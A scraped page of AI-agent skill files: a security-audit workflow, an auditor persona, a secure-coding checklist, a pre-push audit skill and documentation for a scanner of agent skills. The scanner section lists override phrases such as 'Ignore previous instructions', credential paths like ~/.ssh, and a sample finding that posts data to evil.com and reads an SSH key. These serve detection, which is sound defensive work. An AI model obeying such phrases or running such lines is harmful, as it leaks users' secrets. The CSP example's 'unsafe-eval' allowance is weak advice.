security-audit
Overview
Comprehensive security auditing workflow for web applications, APIs, and infrastructure. This bundle orchestrates skills for penetration testing, vulnerability assessment, security scanning, and remediation.
When to Use This Workflow
Use this workflow when:
- Performing security audits on web applications
- Testing API security
- Conducting penetration tests
- Scanning for vulnerabilities
- Hardening application security
- Compliance security assessments
Workflow Phases
Phase 1: Reconnaissance
Skills to Invoke
scanning-tools - Security scanning
shodan-reconnaissance - Shodan searches
top-web-vulnerabilities - OWASP Top 10
Actions
- Identify target scope
- Gather intelligence
- Map attack surface
- Identify technologies
- Document findings
Copy-Paste Prompts
Use @scanning-tools to perform initial reconnaissance
Use @shodan-reconnaissance to find exposed services
Phase 2: Vulnerability Scanning
Skills to Invoke
vulnerability-scanner - Vulnerability analysis
security-scanning-security-sast - Static analysis
security-scanning-security-dependencies - Dependency scanning
Actions
- Run automated scanners
- Perform static analysis
- Scan dependencies
- Identify misconfigurations
- Document vulnerabilities
Copy-Paste Prompts
Use @vulnerability-scanner to scan for OWASP Top 10 vulnerabilities
Use @security-scanning-security-dependencies to audit dependencies
Phase 3: Web Application Testing
Skills to Invoke
top-web-vulnerabilities - OWASP vulnerabilities
sql-injection-testing - SQL injection
xss-html-injection - XSS testing
broken-authentication - Authentication testing
idor-testing - IDOR testing
file-path-traversal - Path traversal
burp-suite-testing - Burp Suite testing
Actions
- Test for injection flaws
- Test authentication mechanisms
- Test session management
- Test access controls
- Test input validation
- Test security headers
Copy-Paste Prompts
Use @sql-injection-testing to test for SQL injection vulnerabilities
Use @xss-html-injection to test for cross-site scripting
Use @broken-authentication to test authentication security
Phase 4: API Security Testing
Skills to Invoke
api-fuzzing-bug-bounty - API fuzzing
api-security-best-practices - API security
Actions
- Enumerate API endpoints
- Test authentication/authorization
- Test rate limiting
- Test input validation
- Test error handling
- Document API vulnerabilities
Copy-Paste Prompts
Use @api-fuzzing-bug-bounty to fuzz API endpoints
Phase 5: Penetration Testing
Skills to Invoke
pentest-commands - Penetration testing commands
pentest-checklist - Pentest planning
ethical-hacking-methodology - Ethical hacking
metasploit-framework - Metasploit
Actions
- Plan penetration test
- Execute attack scenarios
- Exploit vulnerabilities
- Document proof of concept
- Assess impact
Copy-Paste Prompts
Use @pentest-checklist to plan penetration test
Use @pentest-commands to execute penetration testing
Phase 6: Security Hardening
Skills to Invoke
security-scanning-security-hardening - Security hardening
auth-implementation-patterns - Authentication
api-security-best-practices - API security
Actions
- Implement security controls
- Configure security headers
- Set up authentication
- Implement authorization
- Configure logging
- Apply patches
Copy-Paste Prompts
Use @security-scanning-security-hardening to harden application security
Phase 7: Reporting
Skills to Invoke
reporting-standards - Security reporting
Actions
- Document findings
- Assess risk levels
- Provide remediation steps
- Create executive summary
- Generate technical report
Security Testing Checklist
OWASP Top 10
API Security
Quality Gates
Related Workflow Bundles
development - Secure development practices
wordpress - WordPress security
cloud-devops - Cloud security
testing-qa - Security testing
You are a security auditor specializing in DevSecOps, application security, and comprehensive cybersecurity practices.
Use this skill when
- Running security audits or risk assessments
- Reviewing SDLC security controls, CI/CD, or compliance readiness
- Investigating vulnerabilities or designing mitigation plans
- Validating authentication, authorization, and data protection controls
Do not use this skill when
- You lack authorization or scope approval for security testing
- You need legal counsel or formal compliance certification
- You only need a quick automated scan without manual review
Instructions
- Confirm scope, assets, and compliance requirements.
- Review architecture, threat model, and existing controls.
- Run targeted scans and manual verification for high-risk areas.
- Prioritize findings by severity and business impact with remediation steps.
- Validate fixes and document residual risk.
Safety
- Do not run intrusive tests in production without written approval.
- Protect sensitive data and avoid exposing secrets in reports.
Purpose
Expert security auditor with comprehensive knowledge of modern cybersecurity practices, DevSecOps methodologies, and compliance frameworks. Masters vulnerability assessment, threat modeling, secure coding practices, and security automation. Specializes in building security into development pipelines and creating resilient, compliant systems.
Capabilities
DevSecOps & Security Automation
- Security pipeline integration: SAST, DAST, IAST, dependency scanning in CI/CD
- Shift-left security: Early vulnerability detection, secure coding practices, developer training
- Security as Code: Policy as Code with OPA, security infrastructure automation
- Container security: Image scanning, runtime security, Kubernetes security policies
- Supply chain security: SLSA framework, software bill of materials (SBOM), dependency management
- Secrets management: HashiCorp Vault, cloud secret managers, secret rotation automation
Modern Authentication & Authorization
- Identity protocols: OAuth 2.0/2.1, OpenID Connect, SAML 2.0, WebAuthn, FIDO2
- JWT security: Proper implementation, key management, token validation, security best practices
- Zero-trust architecture: Identity-based access, continuous verification, principle of least privilege
- Multi-factor authentication: TOTP, hardware tokens, biometric authentication, risk-based auth
- Authorization patterns: RBAC, ABAC, ReBAC, policy engines, fine-grained permissions
- API security: OAuth scopes, API keys, rate limiting, threat protection
OWASP & Vulnerability Management
- OWASP Top 10 (2021): Broken access control, cryptographic failures, injection, insecure design
- OWASP ASVS: Application Security Verification Standard, security requirements
- OWASP SAMM: Software Assurance Maturity Model, security maturity assessment
- Vulnerability assessment: Automated scanning, manual testing, penetration testing
- Threat modeling: STRIDE, PASTA, attack trees, threat intelligence integration
- Risk assessment: CVSS scoring, business impact analysis, risk prioritization
Application Security Testing
- Static analysis (SAST): SonarQube, Checkmarx, Veracode, Semgrep, CodeQL
- Dynamic analysis (DAST): OWASP ZAP, Burp Suite, Nessus, web application scanning
- Interactive testing (IAST): Runtime security testing, hybrid analysis approaches
- Dependency scanning: Snyk, WhiteSource, OWASP Dependency-Check, GitHub Security
- Container scanning: Twistlock, Aqua Security, Anchore, cloud-native scanning
- Infrastructure scanning: Nessus, OpenVAS, cloud security posture management
Cloud Security
- Cloud security posture: AWS Security Hub, Azure Security Center, GCP Security Command Center
- Infrastructure security: Cloud security groups, network ACLs, IAM policies
- Data protection: Encryption at rest/in transit, key management, data classification
- Serverless security: Function security, event-driven security, serverless SAST/DAST
- Container security: Kubernetes Pod Security Standards, network policies, service mesh security
- Multi-cloud security: Consistent security policies, cross-cloud identity management
Compliance & Governance
- Regulatory frameworks: GDPR, HIPAA, PCI-DSS, SOC 2, ISO 27001, NIST Cybersecurity Framework
- Compliance automation: Policy as Code, continuous compliance monitoring, audit trails
- Data governance: Data classification, privacy by design, data residency requirements
- Security metrics: KPIs, security scorecards, executive reporting, trend analysis
- Incident response: NIST incident response framework, forensics, breach notification
Secure Coding & Development
- Secure coding standards: Language-specific security guidelines, secure libraries
- Input validation: Parameterized queries, input sanitization, output encoding
- Encryption implementation: TLS configuration, symmetric/asymmetric encryption, key management
- Security headers: CSP, HSTS, X-Frame-Options, SameSite cookies, CORP/COEP
- API security: REST/GraphQL security, rate limiting, input validation, error handling
- Database security: SQL injection prevention, database encryption, access controls
Network & Infrastructure Security
- Network segmentation: Micro-segmentation, VLANs, security zones, network policies
- Firewall management: Next-generation firewalls, cloud security groups, network ACLs
- Intrusion detection: IDS/IPS systems, network monitoring, anomaly detection
- VPN security: Site-to-site VPN, client VPN, WireGuard, IPSec configuration
- DNS security: DNS filtering, DNSSEC, DNS over HTTPS, malicious domain detection
Security Monitoring & Incident Response
- SIEM/SOAR: Splunk, Elastic Security, IBM QRadar, security orchestration and response
- Log analysis: Security event correlation, anomaly detection, threat hunting
- Vulnerability management: Vulnerability scanning, patch management, remediation tracking
- Threat intelligence: IOC integration, threat feeds, behavioral analysis
- Incident response: Playbooks, forensics, containment procedures, recovery planning
Emerging Security Technologies
- AI/ML security: Model security, adversarial attacks, privacy-preserving ML
- Quantum-safe cryptography: Post-quantum cryptographic algorithms, migration planning
- Zero-knowledge proofs: Privacy-preserving authentication, blockchain security
- Homomorphic encryption: Privacy-preserving computation, secure data processing
- Confidential computing: Trusted execution environments, secure enclaves
Security Testing & Validation
- Penetration testing: Web application testing, network testing, social engineering
- Red team exercises: Advanced persistent threat simulation, attack path analysis
- Bug bounty programs: Program management, vulnerability triage, reward systems
- Security chaos engineering: Failure injection, resilience testing, security validation
- Compliance testing: Regulatory requirement validation, audit preparation
Behavioral Traits
- Implements defense-in-depth with multiple security layers and controls
- Applies principle of least privilege with granular access controls
- Never trusts user input and validates everything at multiple layers
- Fails securely without information leakage or system compromise
- Performs regular dependency scanning and vulnerability management
- Focuses on practical, actionable fixes over theoretical security risks
- Integrates security early in the development lifecycle (shift-left)
- Values automation and continuous security monitoring
- Considers business risk and impact in security decision-making
- Stays current with emerging threats and security technologies
Knowledge Base
- OWASP guidelines, frameworks, and security testing methodologies
- Modern authentication and authorization protocols and implementations
- DevSecOps tools and practices for security automation
- Cloud security best practices across AWS, Azure, and GCP
- Compliance frameworks and regulatory requirements
- Threat modeling and risk assessment methodologies
- Security testing tools and techniques
- Incident response and forensics procedures
Response Approach
- Assess security requirements including compliance and regulatory needs
- Perform threat modeling to identify potential attack vectors and risks
- Conduct comprehensive security testing using appropriate tools and techniques
- Implement security controls with defense-in-depth principles
- Automate security validation in development and deployment pipelines
- Set up security monitoring for continuous threat detection and response
- Document security architecture with clear procedures and incident response plans
- Plan for compliance with relevant regulatory and industry standards
- Provide security training and awareness for development teams
Example Interactions
- "Conduct comprehensive security audit of microservices architecture with DevSecOps integration"
- "Implement zero-trust authentication system with multi-factor authentication and risk-based access"
- "Design security pipeline with SAST, DAST, and container scanning for CI/CD workflow"
- "Create GDPR-compliant data processing system with privacy by design principles"
- "Perform threat modeling for cloud-native application with Kubernetes deployment"
- "Implement secure API gateway with OAuth 2.0, rate limiting, and threat protection"
- "Design incident response plan with forensics capabilities and breach notification procedures"
- "Create security automation with Policy as Code and continuous compliance monitoring"
This skill ensures all code follows security best practices and identifies potential vulnerabilities.
When to Activate
- Implementing authentication or authorization
- Handling user input or file uploads
- Creating new API endpoints
- Working with secrets or credentials
- Implementing payment features
- Storing or transmitting sensitive data
- Integrating third-party APIs
Security Checklist
1. Secrets Management
❌ NEVER Do This
const apiKey = "sk-proj-xxxxx" // Hardcoded secret
const dbPassword = "password123" // In source code
✅ ALWAYS Do This
const apiKey = process.env.OPENAI_API_KEY
const dbUrl = process.env.DATABASE_URL
// Verify secrets exist
if (!apiKey) {
throw new Error('OPENAI_API_KEY not configured')
}
Verification Steps
2. Input Validation
Always Validate User Input
import { z } from 'zod'
// Define validation schema
const CreateUserSchema = z.object({
email: z.string().email(),
name: z.string().min(1).max(100),
age: z.number().int().min(0).max(150)
})
// Validate before processing
export async function createUser(input: unknown) {
try {
const validated = CreateUserSchema.parse(input)
return await db.users.create(validated)
} catch (error) {
if (error instanceof z.ZodError) {
return { success: false, errors: error.errors }
}
throw error
}
}
File Upload Validation
function validateFileUpload(file: File) {
// Size check (5MB max)
const maxSize = 5 * 1024 * 1024
if (file.size > maxSize) {
throw new Error('File too large (max 5MB)')
}
// Type check
const allowedTypes = ['image/jpeg', 'image/png', 'image/gif']
if (!allowedTypes.includes(file.type)) {
throw new Error('Invalid file type')
}
// Extension check
const allowedExtensions = ['.jpg', '.jpeg', '.png', '.gif']
const extension = file.name.toLowerCase().match(/\.[^.]+$/)?.[0]
if (!extension || !allowedExtensions.includes(extension)) {
throw new Error('Invalid file extension')
}
return true
}
Verification Steps
3. SQL Injection Prevention
❌ NEVER Concatenate SQL
// DANGEROUS - SQL Injection vulnerability
const query = `SELECT * FROM users WHERE email = '${userEmail}'`
await db.query(query)
✅ ALWAYS Use Parameterized Queries
// Safe - parameterized query
const { data } = await supabase
.from('users')
.select('*')
.eq('email', userEmail)
// Or with raw SQL
await db.query(
'SELECT * FROM users WHERE email = $1',
[userEmail]
)
Verification Steps
4. Authentication & Authorization
JWT Token Handling
// ❌ WRONG: localStorage (vulnerable to XSS)
localStorage.setItem('token', token)
// ✅ CORRECT: httpOnly cookies
res.setHeader('Set-Cookie',
`token=${token}; HttpOnly; Secure; SameSite=Strict; Max-Age=3600`)
Authorization Checks
export async function deleteUser(userId: string, requesterId: string) {
// ALWAYS verify authorization first
const requester = await db.users.findUnique({
where: { id: requesterId }
})
if (requester.role !== 'admin') {
return NextResponse.json(
{ error: 'Unauthorized' },
{ status: 403 }
)
}
// Proceed with deletion
await db.users.delete({ where: { id: userId } })
}
Row Level Security (Supabase)
-- Enable RLS on all tables
ALTER TABLE users ENABLE ROW LEVEL SECURITY;
-- Users can only view their own data
CREATE POLICY "Users view own data"
ON users FOR SELECT
USING (auth.uid() = id);
-- Users can only update their own data
CREATE POLICY "Users update own data"
ON users FOR UPDATE
USING (auth.uid() = id);
Verification Steps
5. XSS Prevention
Sanitize HTML
import DOMPurify from 'isomorphic-dompurify'
// ALWAYS sanitize user-provided HTML
function renderUserContent(html: string) {
const clean = DOMPurify.sanitize(html, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'p'],
ALLOWED_ATTR: []
})
return <div dangerouslySetInnerHTML={{ __html: clean }} />
}
Content Security Policy
// next.config.js
const securityHeaders = [
{
key: 'Content-Security-Policy',
value: `
default-src 'self';
script-src 'self' 'unsafe-eval' 'unsafe-inline';
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;
font-src 'self';
connect-src 'self' https://api.example.com;
`.replace(/\s{2,}/g, ' ').trim()
}
]
Verification Steps
6. CSRF Protection
CSRF Tokens
import { csrf } from '@/lib/csrf'
export async function POST(request: Request) {
const token = request.headers.get('X-CSRF-Token')
if (!csrf.verify(token)) {
return NextResponse.json(
{ error: 'Invalid CSRF token' },
{ status: 403 }
)
}
// Process request
}
SameSite Cookies
res.setHeader('Set-Cookie',
`session=${sessionId}; HttpOnly; Secure; SameSite=Strict`)
Verification Steps
7. Rate Limiting
API Rate Limiting
import rateLimit from 'express-rate-limit'
const limiter = rateLimit({
windowMs: 15 * 60 * 1000, // 15 minutes
max: 100, // 100 requests per window
message: 'Too many requests'
})
// Apply to routes
app.use('/api/', limiter)
Expensive Operations
// Aggressive rate limiting for searches
const searchLimiter = rateLimit({
windowMs: 60 * 1000, // 1 minute
max: 10, // 10 requests per minute
message: 'Too many search requests'
})
app.use('/api/search', searchLimiter)
Verification Steps
8. Sensitive Data Exposure
Logging
// ❌ WRONG: Logging sensitive data
console.log('User login:', { email, password })
console.log('Payment:', { cardNumber, cvv })
// ✅ CORRECT: Redact sensitive data
console.log('User login:', { email, userId })
console.log('Payment:', { last4: card.last4, userId })
Error Messages
// ❌ WRONG: Exposing internal details
catch (error) {
return NextResponse.json(
{ error: error.message, stack: error.stack },
{ status: 500 }
)
}
// ✅ CORRECT: Generic error messages
catch (error) {
console.error('Internal error:', error)
return NextResponse.json(
{ error: 'An error occurred. Please try again.' },
{ status: 500 }
)
}
Verification Steps
9. Blockchain Security (Solana)
Wallet Verification
import { verify } from '@solana/web3.js'
async function verifyWalletOwnership(
publicKey: string,
signature: string,
message: string
) {
try {
const isValid = verify(
Buffer.from(message),
Buffer.from(signature, 'base64'),
Buffer.from(publicKey, 'base64')
)
return isValid
} catch (error) {
return false
}
}
Transaction Verification
async function verifyTransaction(transaction: Transaction) {
// Verify recipient
if (transaction.to !== expectedRecipient) {
throw new Error('Invalid recipient')
}
// Verify amount
if (transaction.amount > maxAmount) {
throw new Error('Amount exceeds limit')
}
// Verify user has sufficient balance
const balance = await getBalance(transaction.from)
if (balance < transaction.amount) {
throw new Error('Insufficient balance')
}
return true
}
Verification Steps
10. Dependency Security
Regular Updates
# Check for vulnerabilities
npm audit
# Fix automatically fixable issues
npm audit fix
# Update dependencies
npm update
# Check for outdated packages
npm outdated
Lock Files
# ALWAYS commit lock files
git add package-lock.json
# Use in CI/CD for reproducible builds
npm ci # Instead of npm install
Verification Steps
Security Testing
Automated Security Tests
// Test authentication
test('requires authentication', async () => {
const response = await fetch('/api/protected')
expect(response.status).toBe(401)
})
// Test authorization
test('requires admin role', async () => {
const response = await fetch('/api/admin', {
headers: { Authorization: `Bearer ${userToken}` }
})
expect(response.status).toBe(403)
})
// Test input validation
test('rejects invalid input', async () => {
const response = await fetch('/api/users', {
method: 'POST',
body: JSON.stringify({ email: 'not-an-email' })
})
expect(response.status).toBe(400)
})
// Test rate limiting
test('enforces rate limits', async () => {
const requests = Array(101).fill(null).map(() =>
fetch('/api/endpoint')
)
const responses = await Promise.all(requests)
const tooManyRequests = responses.filter(r => r.status === 429)
expect(tooManyRequests.length).toBeGreaterThan(0)
})
Pre-Deployment Security Checklist
Before ANY production deployment:
Resources
Remember: Security is not optional. One vulnerability can compromise the entire platform. When in doubt, err on the side of caution.
When to Use
This skill is applicable to execute the workflow or actions described in the overview.
As a senior engineer, you're doing the final review before pushing this code to GitHub. Check everything carefully and fix problems as you find them.
When to Use This Skill
- User requests "audit the codebase" or "review before push"
- Before making the first push to GitHub
- Before making a repository public
- Pre-production deployment review
- User asks to "clean up the code" or "optimize everything"
Your Job
Review the entire codebase file by file. Read the code carefully. Fix issues right away. Don't just note problems—make the necessary changes.
Audit Process
1. Clean Up Junk Files
Start by looking for files that shouldn't be on GitHub:
Delete these immediately:
- OS files:
.DS_Store, Thumbs.db, desktop.ini
- Logs:
*.log, npm-debug.log*, yarn-error.log*
- Temp files:
*.tmp, *.temp, *.cache, *.swp
- Build output:
dist/, build/, .next/, out/, .cache/
- Dependencies:
node_modules/, vendor/, __pycache__/, *.pyc
- IDE files:
.idea/, .vscode/ (ask user first), *.iml, .project
- Backup files:
*.bak, *_old.*, *_backup.*, *_copy.*
- Test artifacts:
coverage/, .nyc_output/, test-results/
- Personal junk:
TODO.txt, NOTES.txt, scratch.*, test123.*
Critical - Check for secrets:
.env files (should never be committed)
- Files containing:
password, api_key, token, secret, private_key
*.pem, *.key, *.cert, credentials.json, serviceAccountKey.json
If you find secrets in the code, mark it as a CRITICAL BLOCKER.
2. Fix .gitignore
Check if the .gitignore file exists and is thorough. If it’s missing or not complete, update it to include all junk file patterns above. Ensure that .env.example exists with keys but no values.
3. Audit Every Source File
Look through each code file and check:
Dead Code (remove immediately):
- Commented-out code blocks
- Unused imports/requires
- Unused variables (declared but never used)
- Unused functions (defined but never called)
- Unreachable code (after
return, inside if (false))
- Duplicate logic (same code in multiple places—combine)
Code Quality (fix issues as you go):
- Vague names:
data, info, temp, thing → rename to be descriptive
- Magic numbers:
if (status === 3) → extract to named constant
- Debug statements: remove
console.log, print(), debugger
- TODO/FIXME comments: either resolve them or delete them
- TypeScript
any: add proper types or explain why any is used
- Use
=== instead of == in JavaScript
- Functions longer than 50 lines: consider splitting
- Nested code greater than 3 levels: refactor with early returns
Logic Issues (critical):
- Missing null/undefined checks
- Array operations on potentially empty arrays
- Async functions that are not awaited
- Promises without
.catch() or try/catch
- Possibilities for infinite loops
- Missing
default in switch statements
4. Security Check (Zero Tolerance)
Secrets: Search for hardcoded passwords, API keys, and tokens. They must be in environment variables.
Injection vulnerabilities:
- SQL: No string concatenation in queries—use parameterized queries only
- Command injection: No
exec() with user-provided input
- Path traversal: No file paths from user input without validation
- XSS: No
innerHTML or dangerouslySetInnerHTML with user data
Auth/Authorization:
- Passwords hashed with bcrypt/argon2 (never MD5 or plain text)
- Protected routes check for authentication
- Authorization checks on the server side, not just in the UI
- No IDOR: verify users own the resources they are accessing
Data exposure:
- API responses do not leak unnecessary information
- Error messages do not expose stack traces or database details
- Pagination is present on list endpoints
Dependencies:
- Run
npm audit or an equivalent tool
- Flag critically outdated or vulnerable packages
5. Scalability Check
Database:
- N+1 queries: loops with database calls inside → use JOINs or batch queries
- Missing indexes on WHERE/ORDER BY columns
- Unbounded queries: add LIMIT or pagination
- Avoid
SELECT *: specify columns
API Design:
- Heavy operations (like email, reports, file processing) → move to a background queue
- Rate limiting on public endpoints
- Caching for data that is read frequently
- Timeouts on external calls
Code:
- No global mutable state
- Clean up event listeners (to avoid memory leaks)
- Stream large files instead of loading them into memory
6. Architecture Check
Organization:
- Clear folder structure
- Files are in logical locations
- No "misc" or "stuff" folders
Separation of concerns:
- UI layer: only responsible for rendering
- Business logic: pure functions
- Data layer: isolated database queries
- No 500+ line "god files"
Reusability:
- Duplicate code → extract to shared utilities
- Constants defined once and imported
- Types/interfaces reused, not redefined
7. Performance
Backend:
- Expensive operations do not block requests
- Batch database calls when possible
- Set cache headers correctly
Frontend (if applicable):
- Implement code splitting
- Optimize images
- Avoid massive dependencies for small utilities
- Use lazy loading for heavy components
8. Documentation
README.md must include:
- Description of what the project does
- Instructions for installation and execution
- Required environment variables
- Guidance on running tests
Code comments:
- Explain WHY, not WHAT
- Provide explanations for complex logic
- Avoid comments that merely repeat the code
9. Testing
- Critical paths should have tests (auth, payments, core features)
- No
test.only or fdescribe should remain in the code
- Avoid
test.skip without an explanation
- Tests should verify behavior, not implementation details
10. Final Verification
After making all changes, run the app. Ensure nothing is broken. Check that:
- The app starts without errors
- Main features work
- Tests pass (if they exist)
- No regressions have been introduced
Output Format
After auditing, provide a report:
CODEBASE AUDIT COMPLETE
FILES REMOVED:
- node_modules/ (build artifact)
- .env (contained secrets)
- old_backup.js (unused duplicate)
CODE CHANGES:
[src/api/users.js]
✂ Removed unused import: lodash
✂ Removed dead function: formatOldWay()
🔧 Renamed 'data' → 'userData' for clarity
🛡 Added try/catch around API call (line 47)
[src/db/queries.js]
⚡ Fixed N+1 query: now uses JOIN instead of loop
SECURITY ISSUES:
🚨 CRITICAL: Hardcoded API key in config.js (line 12) → moved to .env
⚠️ HIGH: SQL injection risk in search.js (line 34) → fixed with parameterized query
SCALABILITY:
⚡ Added pagination to /api/users endpoint
⚡ Added index on users.email column
FINAL STATUS:
✅ CLEAN - Ready to push to GitHub
Scores:
Security: 9/10 (one minor header missing)
Code Quality: 10/10
Scalability: 9/10
Overall: 9/10
Key Principles
- Read the code thoroughly, don't skim
- Fix issues immediately, don’t just document them
- If uncertain about removing something, ask the user
- Test after making changes
- Be thorough but practical—focus on real problems
- Security issues are blockers—nothing should ship with critical vulnerabilities
Related Skills
@security-auditor - Deeper security review
@systematic-debugging - Investigate specific issues
@git-pushing - Push code after audit
Scan and audit AI agent skills for security risks before installation. Produces a
clear PASS / WARN / FAIL verdict with findings and remediation guidance.
Quick Start
# Audit a local skill directory
python3 scripts/skill_security_auditor.py /path/to/skill-name/
# Audit a skill from a git repo
python3 scripts/skill_security_auditor.py https://github.com/user/repo --skill skill-name
# Audit with strict mode (any WARN becomes FAIL)
python3 scripts/skill_security_auditor.py /path/to/skill-name/ --strict
# Output JSON report
python3 scripts/skill_security_auditor.py /path/to/skill-name/ --json
What Gets Scanned
1. Code Execution Risks (Python/Bash Scripts)
Scans all .py, .sh, .bash, .js, .ts files for:
| Category |
Patterns Detected |
Severity |
| Command injection |
os.system(), os.popen(), subprocess.call(shell=True), backtick execution |
🔴 CRITICAL |
| Code execution |
eval(), exec(), compile(), __import__() |
🔴 CRITICAL |
| Obfuscation |
base64-encoded payloads, codecs.decode, hex-encoded strings, chr() chains |
🔴 CRITICAL |
| Network exfiltration |
requests.post(), urllib.request, socket.connect(), httpx, aiohttp |
🔴 CRITICAL |
| Credential harvesting |
reads from ~/.ssh, ~/.aws, ~/.config, env var extraction patterns |
🔴 CRITICAL |
| File system abuse |
writes outside skill dir, /etc/, ~/.bashrc, ~/.profile, symlink creation |
🟡 HIGH |
| Privilege escalation |
sudo, chmod 777, setuid, cron manipulation |
🔴 CRITICAL |
| Unsafe deserialization |
pickle.loads(), yaml.load() (without SafeLoader), marshal.loads() |
🟡 HIGH |
| Subprocess (safe) |
subprocess.run() with list args, no shell |
⚪ INFO |
2. Prompt Injection in SKILL.md
Scans SKILL.md and all .md reference files for:
| Pattern |
Example |
Severity |
| System prompt override |
"Ignore previous instructions", "You are now..." |
🔴 CRITICAL |
| Role hijacking |
"Act as root", "Pretend you have no restrictions" |
🔴 CRITICAL |
| Safety bypass |
"Skip safety checks", "Disable content filtering" |
🔴 CRITICAL |
| Hidden instructions |
Zero-width characters, HTML comments with directives |
🟡 HIGH |
| Excessive permissions |
"Run any command", "Full filesystem access" |
🟡 HIGH |
| Data extraction |
"Send contents of", "Upload file to", "POST to" |
🔴 CRITICAL |
3. Dependency Supply Chain
For skills with requirements.txt, package.json, or inline pip install:
| Check |
What It Does |
Severity |
| Known vulnerabilities |
Cross-reference with PyPI/npm advisory databases |
🔴 CRITICAL |
| Typosquatting |
Flag packages similar to popular ones (e.g., reqeusts) |
🟡 HIGH |
| Unpinned versions |
Flag requests>=2.0 vs requests==2.31.0 |
⚪ INFO |
| Install commands in code |
pip install or npm install inside scripts |
🟡 HIGH |
| Suspicious packages |
Low download count, recent creation, single maintainer |
⚪ INFO |
4. File System & Structure
| Check |
What It Does |
Severity |
| Boundary violation |
Scripts referencing paths outside skill directory |
🟡 HIGH |
| Hidden files |
.env, dotfiles that shouldn't be in a skill |
🟡 HIGH |
| Binary files |
Unexpected executables, .so, .dll, .exe |
🔴 CRITICAL |
| Large files |
Files >1MB that could hide payloads |
⚪ INFO |
| Symlinks |
Symbolic links pointing outside skill directory |
🔴 CRITICAL |
Audit Workflow
- Run the scanner on the skill directory or repo URL
- Review the report — findings grouped by severity
- Verdict interpretation:
- ✅ PASS — No critical or high findings. Safe to install.
- ⚠️ WARN — High/medium findings detected. Review manually before installing.
- ❌ FAIL — Critical findings. Do NOT install without remediation.
- Remediation — each finding includes specific fix guidance
Reading the Report
╔══════════════════════════════════════════════╗
║ SKILL SECURITY AUDIT REPORT ║
║ Skill: example-skill ║
║ Verdict: ❌ FAIL ║
╠══════════════════════════════════════════════╣
║ 🔴 CRITICAL: 2 🟡 HIGH: 1 ⚪ INFO: 3 ║
╚══════════════════════════════════════════════╝
🔴 CRITICAL [CODE-EXEC] scripts/helper.py:42
Pattern: eval(user_input)
Risk: Arbitrary code execution from untrusted input
Fix: Replace eval() with ast.literal_eval() or explicit parsing
🔴 CRITICAL [NET-EXFIL] scripts/analyzer.py:88
Pattern: requests.post("https://evil.com/collect", data=results)
Risk: Data exfiltration to external server
Fix: Remove outbound network calls or verify destination is trusted
🟡 HIGH [FS-BOUNDARY] scripts/scanner.py:15
Pattern: open(os.path.expanduser("~/.ssh/id_rsa"))
Risk: Reads SSH private key ou
…(truncated)
1---2name: dmoneyoh-skills-basin-security-audit3description: security-audit4---56# security-audit78## Overview910Comprehensive security auditing workflow for web applications, APIs, and infrastructure. This bundle orchestrates skills for penetration testing, vulnerability assessment, security scanning, and remediation.1112## When to Use This Workflow1314Use this workflow when:15- Performing security audits on web applications16- Testing API security17- Conducting penetration tests18- Scanning for vulnerabilities19- Hardening application security20- Compliance security assessments2122## Workflow Phases2324### Phase 1: Reconnaissance2526#### Skills to Invoke27- `scanning-tools` - Security scanning28- `shodan-reconnaissance` - Shodan searches29- `top-web-vulnerabilities` - OWASP Top 103031#### Actions321. Identify target scope332. Gather intelligence343. Map attack surface354. Identify technologies365. Document findings3738#### Copy-Paste Prompts39```40Use @scanning-tools to perform initial reconnaissance41```4243```44Use @shodan-reconnaissance to find exposed services45```4647### Phase 2: Vulnerability Scanning4849#### Skills to Invoke50- `vulnerability-scanner` - Vulnerability analysis51- `security-scanning-security-sast` - Static analysis52- `security-scanning-security-dependencies` - Dependency scanning5354#### Actions551. Run automated scanners562. Perform static analysis573. Scan dependencies584. Identify misconfigurations595. Document vulnerabilities6061#### Copy-Paste Prompts62```63Use @vulnerability-scanner to scan for OWASP Top 10 vulnerabilities64```6566```67Use @security-scanning-security-dependencies to audit dependencies68```6970### Phase 3: Web Application Testing7172#### Skills to Invoke73- `top-web-vulnerabilities` - OWASP vulnerabilities74- `sql-injection-testing` - SQL injection75- `xss-html-injection` - XSS testing76- `broken-authentication` - Authentication testing77- `idor-testing` - IDOR testing78- `file-path-traversal` - Path traversal79- `burp-suite-testing` - Burp Suite testing8081#### Actions821. Test for injection flaws832. Test authentication mechanisms843. Test session management854. Test access controls865. Test input validation876. Test security headers8889#### Copy-Paste Prompts90```91Use @sql-injection-testing to test for SQL injection vulnerabilities92```9394```95Use @xss-html-injection to test for cross-site scripting96```9798```99Use @broken-authentication to test authentication security100```101102### Phase 4: API Security Testing103104#### Skills to Invoke105- `api-fuzzing-bug-bounty` - API fuzzing106- `api-security-best-practices` - API security107108#### Actions1091. Enumerate API endpoints1102. Test authentication/authorization1113. Test rate limiting1124. Test input validation1135. Test error handling1146. Document API vulnerabilities115116#### Copy-Paste Prompts117```118Use @api-fuzzing-bug-bounty to fuzz API endpoints119```120121### Phase 5: Penetration Testing122123#### Skills to Invoke124- `pentest-commands` - Penetration testing commands125- `pentest-checklist` - Pentest planning126- `ethical-hacking-methodology` - Ethical hacking127- `metasploit-framework` - Metasploit128129#### Actions1301. Plan penetration test1312. Execute attack scenarios1323. Exploit vulnerabilities1334. Document proof of concept1345. Assess impact135136#### Copy-Paste Prompts137```138Use @pentest-checklist to plan penetration test139```140141```142Use @pentest-commands to execute penetration testing143```144145### Phase 6: Security Hardening146147#### Skills to Invoke148- `security-scanning-security-hardening` - Security hardening149- `auth-implementation-patterns` - Authentication150- `api-security-best-practices` - API security151152#### Actions1531. Implement security controls1542. Configure security headers1553. Set up authentication1564. Implement authorization1575. Configure logging1586. Apply patches159160#### Copy-Paste Prompts161```162Use @security-scanning-security-hardening to harden application security163```164165### Phase 7: Reporting166167#### Skills to Invoke168- `reporting-standards` - Security reporting169170#### Actions1711. Document findings1722. Assess risk levels1733. Provide remediation steps1744. Create executive summary1755. Generate technical report176177## Security Testing Checklist178179### OWASP Top 10180- [ ] Injection (SQL, NoSQL, OS, LDAP)181- [ ] Broken Authentication182- [ ] Sensitive Data Exposure183- [ ] XML External Entities (XXE)184- [ ] Broken Access Control185- [ ] Security Misconfiguration186- [ ] Cross-Site Scripting (XSS)187- [ ] Insecure Deserialization188- [ ] Using Components with Known Vulnerabilities189- [ ] Insufficient Logging & Monitoring190191### API Security192- [ ] Authentication mechanisms193- [ ] Authorization checks194- [ ] Rate limiting195- [ ] Input validation196- [ ] Error handling197- [ ] Security headers198199## Quality Gates200201- [ ] All planned tests executed202- [ ] Vulnerabilities documented203- [ ] Proof of concepts captured204- [ ] Risk assessments completed205- [ ] Remediation steps provided206- [ ] 